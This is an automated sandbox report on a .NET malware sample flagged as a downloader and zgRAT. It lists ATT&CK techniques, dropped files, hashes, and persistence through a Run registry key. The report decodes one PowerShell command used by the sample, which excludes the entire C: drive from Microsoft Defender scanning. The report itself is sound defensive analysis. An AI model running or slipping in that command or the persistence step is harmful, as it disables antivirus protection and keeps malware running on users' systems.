Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Queries volume information: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Queries volume information: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	311 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	2 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
lZmUPfUitK.exe	28%	Virustotal		Browse
lZmUPfUitK.exe	31%	ReversingLabs	ByteCode-MSIL.Downloader.Seraph

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	31%	ReversingLabs	ByteCode-MSIL.Downloader.Seraph

Unpacked PE Files

Source	Detection	Scanner	Label	Download
15.0.InstallUtil.exe.140000000.4.unpack	100%	Avira	HEUR/AGEN.1216633	Download File
15.0.InstallUtil.exe.140000000.1.unpack	100%	Avira	HEUR/AGEN.1216633	Download File
15.0.InstallUtil.exe.140000000.2.unpack	100%	Avira	HEUR/AGEN.1216633	Download File
15.0.InstallUtil.exe.140000000.0.unpack	100%	Avira	HEUR/AGEN.1216633	Download File
15.0.InstallUtil.exe.140000000.3.unpack	100%	Avira	HEUR/AGEN.1216633	Download File
15.2.InstallUtil.exe.140000000.0.unpack	100%	Avira	HEUR/AGEN.1216633	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a-0019.standard.a-msedge.net	204.79.197.222	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp, Dwdsyugg.exe, 00000017.00000002.630424780.000001C780032000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.515256394.0000015D2A0D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-net	Dwdsyugg.exe, 00000017.00000002.637506740.000001C7FA910000.00000004.00000001.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.500098040.0000015D1A071000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.501289931.0000015D1A27E000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	652388
Start date and time: 26/06/202209:34:43	2022-06-26 09:34:43 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	lZmUPfUitK.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@8/8@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 0.2% (good quality ratio 0.2%) Quality average: 100% Quality standard deviation: 0%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fp.msedge.net, client.wns.windows.com, fs.microsoft.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, arc.msn.com, ris.api.iris.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, 1.perf.msedge.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net
Execution Graph export aborted for target Dwdsyugg.exe, PID 6344 because it is empty
Execution Graph export aborted for target InstallUtil.exe, PID 3564 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5780 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:36:40	API Interceptor	43x Sleep call for process: powershell.exe modified
09:37:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Dwdsyugg "C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe"
09:37:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Dwdsyugg "C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe"

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
a-0019.standard.a-msedge.net	MV. AVENIR TBN VESSEL DETAILS.docx.exe	Get hash	malicious	Browse	204.79.197.222
	SecuriteInfo.com.W32.AIDetectNet.01.25492.exe	Get hash	malicious	Browse	204.79.197.222
	Signed_PO_003485940.exe	Get hash	malicious	Browse	204.79.197.222
	4Os5JWDs7J.dll	Get hash	malicious	Browse	204.79.197.222
	texdpEFl8r.exe	Get hash	malicious	Browse	204.79.197.222
	YI52XpVV6Y.exe	Get hash	malicious	Browse	204.79.197.222
	Qasim_Haxor.exe	Get hash	malicious	Browse	204.79.197.222
	#U70b9#U51fb#U5b89#U88c5-#U7eb8#U98de#U673a#U7b80#U4f53#U4e2d#U6587#U8bed#U8a00#U5305.com	Get hash	malicious	Browse	204.79.197.222
	Ou5tput.exe.exe	Get hash	malicious	Browse	204.79.197.222
	Fichero_Comprobante125822355MX12152022.htm	Get hash	malicious	Browse	204.79.197.222
	17.06.2022 cuma.docx	Get hash	malicious	Browse	204.79.197.222
	jUPHTA73IC.exe	Get hash	malicious	Browse	204.79.197.222
	w7QV15PTIU.exe	Get hash	malicious	Browse	204.79.197.222
	SecuriteInfo.com.W32.AIDetectNet.01.2759.exe	Get hash	malicious	Browse	204.79.197.222
	jsgSQzzt8S.dll	Get hash	malicious	Browse	204.79.197.222
	TLEsLC17Fy.dll	Get hash	malicious	Browse	204.79.197.222
	hJKjT75NRB.dll	Get hash	malicious	Browse	204.79.197.222
	purchase order.exe	Get hash	malicious	Browse	204.79.197.222
	customs broker_outstandings.js	Get hash	malicious	Browse	204.79.197.222
	SecuriteInfo.com.Gen.Variant.Nemesis.8198.16406.exe	Get hash	malicious	Browse	204.79.197.222

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\lZmUPfUitK.exe.log

Download File

Process:	C:\Users\user\Desktop\lZmUPfUitK.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1055
Entropy (8bit):	5.373947760078582
Encrypted:	false
SSDEEP:	24:ML9E4KrgKDE4KGKN08AKha1qE4GiD0E4KeGmAE4KKPz:MxHKEYHKGD8Aoa1qHGiD0HKeGmAHKKPz
MD5:	081493100AB0E95ACE690AEC029382E7
SHA1:	B578108AFDB2943ABEAF1B0418917D9F8DD5F51B
SHA-256:	34588524B1387DDF305107650BA13B0AE0C442244DD0982283C82083351655FC
SHA-512:	22C59892B63C8847330B8B332465F7D0240B3B8921F9659470368793164BAEE9FA3CC0167F297C290E0629580C76F26707D8956B6A0781712C0B2DB9E1F1D112
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.Forms.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18817
Entropy (8bit):	5.001217266823362
Encrypted:	false
SSDEEP:	384:sEvOjJiYoWVoGIpN6KQkj2dNXp5FOdBo+ib4+jjkjh4iUxL2c+4Jib4J:s0MiYoWV3IpNBQkj2dNZvOdBopj2h4iu
MD5:	A30A545B73C738B58F7D7089B1C9FF63
SHA1:	2F4784CFB523E34E6492F67EF7A04C7A20F16872
SHA-256:	2F1991061F8982C2AAB4D49CAF78BE84E1282EFED26BE6775989B0EC4C9464BC
SHA-512:	3C2DE1D82999C46EC2BA11DBA721E011950DC510F67E3226D61DF7CA9579F1F95F0BE7BE31A2BD61E92DDD1930563061131614C59D81472A92DBF529A1143316
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....yH.8...I...C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........AfterEach........Should........BeforeEach........Get-MockDynamicParameters........It........Assert-VerifiableMocks........BeforeAll........Context........Set-TestInconclusive........AfterAll........Setup........Set-DynamicParameterVariables........Invoke-Pester........Assert-MockCalled........New-PesterOption........l:]2...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ConfigCI\ConfigCI.psd1........Get-CIPolicyInfo........Get-CIPolicyIdInfo........Set-CIPolicySetting........Merge-CIPolicy........Edit-CIPolicyRule........Set-CIPolicyVersion........Set-CIPolicyIdInfo........ConvertFrom-CIPolicy........Set-HVCIOptions........Add-SignerRule........New-CIPolicy........Get-SystemDriver........Set-RuleOption........Get-CIPolicy......

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:	3:Nlllulb/lj:NllUb/l
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgypetoe.aag.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_noinjdo0.1qu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe

Download File

Process:	C:\Users\user\Desktop\lZmUPfUitK.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	955392
Entropy (8bit):	7.992663009121081
Encrypted:	true
SSDEEP:	24576:6JvNxleI9Ee8wRnMvsjLaIosmj9slQnelgUWSQucph6:2Nltjqsmj9fc7QFr6
MD5:	808C44B1B4E11B8B5428C05DE17884C7
SHA1:	7AE0A547F38F21B6035E1726BD4700D963CEB8A2
SHA-256:	70199C37FF74D3FEEBD76F55EF786284132979A9B8F14BF1180D1F6B30EBB6A3
SHA-512:	EEB85C7B758E24C5A9AB9B44CC8A80B41A5B488504E4A302A653DD077F7518E7D992319A41DEBFD429B6FADD2F1345FC23E5F5F409C11578B79B5F43B6FBE008
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 31%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......b.........."...0..N...D........... .....@..... ....................................`..............................................................D........................................................................................... ..H............text....M... ...N.................. ..`.rsrc....D.......D...P..............@..@........................................H........Z..............x%..............................................".(.....".(........0..g.........s......s........s....s........+..+.o....+.....+..o....+.,.+....o........+..o....+.,.+....,..o.........(......./..........:I..........RZ.......0.."........ .4.......%.....(......(.....+.....0..L........s........o......s........o......o......!.,..o.......,..o.......,..o.......*.(.......)..........$4..........8?.......0..`.........(....(....o....(...+o.....+"..(.......o....r...p(.

C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\lZmUPfUitK.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Documents\20220626\PowerShell_transcript.065367.TfDkDmkT.20220626093639.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5984
Entropy (8bit):	5.489501598492104
Encrypted:	false
SSDEEP:	96:BZtx6JN3aPqDo1Z/2Zi6JN3aPqDo1ZFvZprZf6JN3aPqDo1ZiwTTwZP:xyalWa2aK
MD5:	A72FEF34553F10A11B1F4759605D1621
SHA1:	3AB6EB0B5FCC3983F1E15F5FC306F9EE0431F47D
SHA-256:	DC02C2E457274C599359105AB40EAC5D02AF05100BF6B99B8FBB8C3BE5FF01CA
SHA-512:	132EA0FA4BA3DE2BC2BE90D1A0603AECBA71EBF9A39B79913E5AB9F23E97CE3291F91493631F0F298769A3E092A68E9F849E1E2EC2ED765C0896BFE598183A13
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220626093640..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 065367 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==..Process ID: 5780..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220626093640..******************..PS>Start-Sleep -Seconds 10; Set-MpPreference -ExclusionPath 'C:\'..********************..Windows PowerShell transcript start..Star

Static File Info

General

File type:
Entropy (8bit):	7.992663009121081
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	lZmUPfUitK.exe
File size:	955392
MD5:	808c44b1b4e11b8b5428c05de17884c7
SHA1:	7ae0a547f38f21b6035e1726bd4700d963ceb8a2
SHA256:	70199c37ff74d3feebd76f55ef786284132979a9b8f14bf1180d1f6b30ebb6a3
SHA512:	eeb85c7b758e24c5a9ab9b44cc8a80b41a5b488504e4a302a653dd077f7518e7d992319a41debfd429b6fadd2f1345fc23e5f5f409c11578b79b5f43b6fbe008
SSDEEP:	24576:6JvNxleI9Ee8wRnMvsjLaIosmj9slQnelgUWSQucph6:2Nltjqsmj9fc7QFr6
TLSH:	C91533B2664BF89ECA14D071F664DEC913ECCE3320155B34FD55316E8663AC843ABBA4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......b.........."...0..N...D........... .....@..... ....................................`................................

File Icon


Icon Hash:	e4d8d8d8dc483196

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: lZmUPfUitK.exePID: 5532, Parent PID: 6672

General

Target ID:	0
Start time:	09:35:57
Start date:	26/06/2022
Path:	C:\Users\user\Desktop\lZmUPfUitK.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\lZmUPfUitK.exe"
Imagebase:	0x18987f80000
File size:	955392 bytes
MD5 hash:	808C44B1B4E11B8B5428C05DE17884C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000003.528377603.000001899A14D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000003.527464350.0000018999FE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5780, Parent PID: 5532

General

Target ID:	7
Start time:	09:36:37
Start date:	26/06/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==
Imagebase:	0x7ff612400000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6784, Parent PID: 5780

General

Target ID:	9
Start time:	09:36:38
Start date:	26/06/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7bab80000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: InstallUtil.exePID: 3564, Parent PID: 5532

General

Target ID:	15
Start time:	09:37:22
Start date:	26/06/2022
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
Imagebase:	0x1ed0d130000
File size:	40552 bytes
MD5 hash:	6EE3F830099ADD53C26DF5739B44D608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.632975548.000001ED0EEB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.634332225.000001ED27600000.00000004.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.633968857.000001ED1EFB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.633387548.000001ED1EEA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: Dwdsyugg.exePID: 2416, Parent PID: 3808

General

Target ID:	18
Start time:	09:37:29
Start date:	26/06/2022
Path:	C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe"
Imagebase:	0x28f20f60000
File size:	955392 bytes
MD5 hash:	808C44B1B4E11B8B5428C05DE17884C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 31%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: Dwdsyugg.exePID: 6344, Parent PID: 3808

General

Target ID:	23
Start time:	09:37:39
Start date:	26/06/2022
Path:	C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe"
Imagebase:	0x1c7f8380000
File size:	955392 bytes
MD5 hash:	808C44B1B4E11B8B5428C05DE17884C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000017.00000002.637024650.000001C7FA110000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 00000017.00000002.637024650.000001C7FA110000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000017.00000002.630424780.000001C780032000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: powershell.exePID: 5780, Parent PID: 5532COMMON

Executed Functions

Function 00007FF85913463F Relevance: 4.3, Strings: 3, Instructions: 544COMMON

Download Yara Rule

Strings

hA*Y, xrefs: 00007FF8591348FE
hA*Y, xrefs: 00007FF8591347ED
0A*Y, xrefs: 00007FF859134661

Memory Dump Source

Source File: 00000007.00000002.519713003.00007FF859130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859130000, based on PE: false

Joe Sandbox IDA Plugin

